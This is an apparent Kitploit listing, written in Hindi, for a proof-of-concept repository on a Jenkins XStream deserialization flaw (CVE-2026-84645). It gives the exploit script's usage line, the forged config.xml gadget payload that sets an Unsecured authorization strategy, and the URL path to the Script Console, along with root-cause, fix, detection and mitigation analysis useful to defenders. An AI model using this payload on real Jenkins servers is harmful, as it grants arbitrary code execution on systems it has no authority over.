Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-84645 — Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC और विश्लेषण। Item/Configure की आवश्यकता है; weekly <= 2.579 / LTS <= 2.568.2 को प्रभावित करता है। | Kitploit
उपकरण/GitHubGitHub/mhtsec/cve-2026-84645
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubmhtsec/cve-2026-84645

CVE-2026-84645

Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC और विश्लेषण। Item/Configure की आवश्यकता है; weekly <= 2.579 / LTS <= 2.568.2 को प्रभावित करता है।

रिपॉजिटरी देखें
1 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-84645 — Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972)

2026-09-02 को ठीक किए गए Jenkins deserialization भेद्यता के लिए PoC (advisory)। किसी भी एक job पर Item/Configure रखने वाला कम-विशेषाधिकार वाला खाता उसे Jenkins OS उपयोगकर्ता के रूप में मनमाना कोड निष्पादन में बदल सकता है।

प्रभावितJenkins weekly ≤ 2.579, LTS ≤ 2.568.2
ठीक किया गयाweekly 2.580, LTS 2.568.3
पूर्वशर्तप्रमाणित, ≥ 1 job पर Item/Configure
प्रभावJenkins सेवा खाते के रूप में RCE
CVSS8.8 (उच्च)

केवल कमजोर परीक्षण इंस्टेंस पर अधिकृत सुरक्षा अनुसंधान के लिए।

उपयोग

root@kitploit:~
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id

स्क्रिप्ट सत्यापित करती है कि खाते के पास कोई script अनुमति नहीं है (403 की उम्मीद), तैयार config.xml सबमिट करती है, फिर इंजेक्ट किए गए ऑब्जेक्ट ग्राफ के माध्यम से Script Console तक रूट करती है जिसका ACL हमलावर-नियंत्रित है।

तकनीकी विश्लेषण

मूल कारण

Jenkins XStream स्टैक (hudson.util.XStream2 / RobustReflectionConverter) के दो लंबे समय से चले आ रहे व्यवहार मिलते हैं:

  1. PersistenceRoot प्रकारों को नेस्टेड फ़ील्ड मानों के रूप में deserialize किया जा सकता था। JEP-200 प्रतिबंधित करता है कि कौन सी कक्षाएं deserialize की जा सकती हैं, लेकिन कहां ऑब्जेक्ट ग्राफ में नहीं। PersistenceRoot उपप्रकार के रूप में टाइप किया गया (या उसे सौंपा जा सकने वाला) कोई भी फ़ील्ड सामान्य ऑब्जेक्ट की तरह unmarshal किया गया था। चूंकि XStream Unsafe.allocateInstance (कोई कंस्ट्रक्टर नहीं) के माध्यम से इंस्टेंशिएट करता है, एक हमलावर मनमाने फ़ील्ड मानों के साथ एक दूसरा hudson.model.Hudson सिंगलटन बना सकता था — जिसमें authorizationStrategy भी शामिल है।
  2. Transient फ़ील्ड भी unmarshal किए गए थे ("XStream 1.1.3 जैसे transient फ़ील्ड में unmarshal करें" संगतता व्यवहार)। Stapler अनुरोध रूटिंग के लिए आवश्यक ऑब्जेक्ट संदर्भ (FingerprintAction.build, Run.project, AbstractItem.parent) transient हैं, इसलिए इंजेक्ट किए गए ऑब्जेक्ट HTTP पर पहुंच योग्य हो जाते हैं — advisory का "बाद में Stapler के माध्यम से HTTP अनुरोधों को संभालें" शब्द।

Gadget श्रृंखला

POST /job/<job>/config.xml (केवल Item/Configure की आवश्यकता है) job के <actions> में इंजेक्ट करता है:

root@kitploit:~
<actions>
  <hudson.tasks.Fingerprinter_-FingerprintAction>
    <build class="hudson.model.FreeStyleBuild">        <!-- PersistenceRoot नेस्टेड (दोष 1); transient फ़ील्ड (दोष 2) -->
      <project class="hudson.model.FreeStyleProject">  <!-- Run.project: protected final transient -->
        <parent class="hudson.model.Hudson">            <!-- AbstractItem.parent: transient; जाली दूसरा Jenkins -->
          <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
        </parent>
        <name>...</name>
        <properties/>                                  <!-- Job.getOverrides() में NPE से बचाता है -->
      </project>
    </build>
    <record/>
  </hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>

Stapler फिर अनुरोध को जाली ग्राफ में रूट करता है:

URL खंडहल करता हैकोड पथ
/job/<job>/fingerprintsइंजेक्ट किया गया FingerprintActionurlName == "fingerprints" + Actionable.getDynamic()
/runजाली FreeStyleBuildFingerprintAction.getRun() transient build पढ़ता है
/parentजाली FreeStyleProjectRun.getParent() final transient project पढ़ता है
/parentजाली hudson.model.HudsonAbstractItem.getParent() transient parent पढ़ता है
/scriptTextजाली इंस्टेंस का Script ConsoleJenkins.doScriptText() → _doScript(..., getACL())

प्राधिकरण बाईपास: doScriptText ADMINISTER को उस इंस्टेंस के विरुद्ध जांचता है जिसने अनुरोध प्राप्त किया, यानी जाली Hudson का getACL(), जो उसके अपने authorizationStrategy फ़ील्ड से प्राप्त होता है — AuthorizationStrategy$Unsecured सब कुछ अनुदान देता है। वास्तविक नियंत्रक की प्राधिकरण रणनीति कभी भाग नहीं लेती। चूंकि deserialization के दौरान कोई कंस्ट्रक्टर नहीं चलता, फ़ील्ड इनिशियलाइज़र लागू नहीं होते; पेलोड को authorizationStrategy (और properties) स्पष्ट रूप से सेट करना चाहिए।

फिक्स विश्लेषण (2.580)

jenkins-2.579 → jenkins-2.580 का अंतर:

  • RobustReflectionConverter.doUnmarshal अब नेस्टेड फ़ील्ड में PersistenceRoot उपप्रकार को unmarshal करने से इनकार करता है (CriticalXStreamException: "PersistenceRoot objects are document roots and must not appear as nested field values"), केवल तीन सुरक्षित आकृतियों की अनुमति देता है: XStream reference= बैक-रेफरेंस, गैर-स्थायी resolves-to रिप्लेसर (Run$Replacer, User$Replacer, …), और एकल-मान कनवर्टर स्केलर संदर्भ।
  • नए @XStreamNotDeserializable / @XStreamDeserializable एनोटेशन के साथ TRANSIENT_FIELD_STRICT_MODE प्रति फ़ील्ड transient-फ़ील्ड unmarshalling को कड़ा करते हैं।
  • Jenkins.readResolve() अब दूसरे Jenkins सिंगलटन को deserialize करने से इनकार करता है और एक writeReplace() रिप्लेसर प्राप्त करता है।
  • प्रतिगमन परीक्षण: test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java।

नोट्स

  • इंजेक्शन इन-मेमोरी (transient) है: Jenkins को पुनरारंभ करने से यह साफ हो जाता है, लेकिन इसे इच्छानुसार फिर से सबमिट किया जा सकता है।
  • पता लगाना: नेस्टेड Fingerprinter_-FingerprintAction / hudson.model.Hudson युक्त अप्रत्याशित POST /job/*/config.xml पेलोड, या /job/*/fingerprints/run/parent/parent/scriptText के अनुरोध।

शमन

  • weekly ≥ 2.580 / LTS ≥ 2.568.3 में अपग्रेड करें।
  • प्राधिकरण मैट्रिक्स में Item/Configure को विश्वसनीय व्यवस्थापकों तक सीमित करें।
  • उपरोक्त पैटर्न के लिए एक्सेस लॉग का ऑडिट करें; संदिग्ध इंस्टेंस को पुनरारंभ करें और प्रदूषण के लिए job config.xml फ़ाइलों की जांच करें।

संदर्भ

  • https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3972
  • https://nvd.nist.gov/vuln/detail/CVE-2026-84645
टूल डाउनलोड करें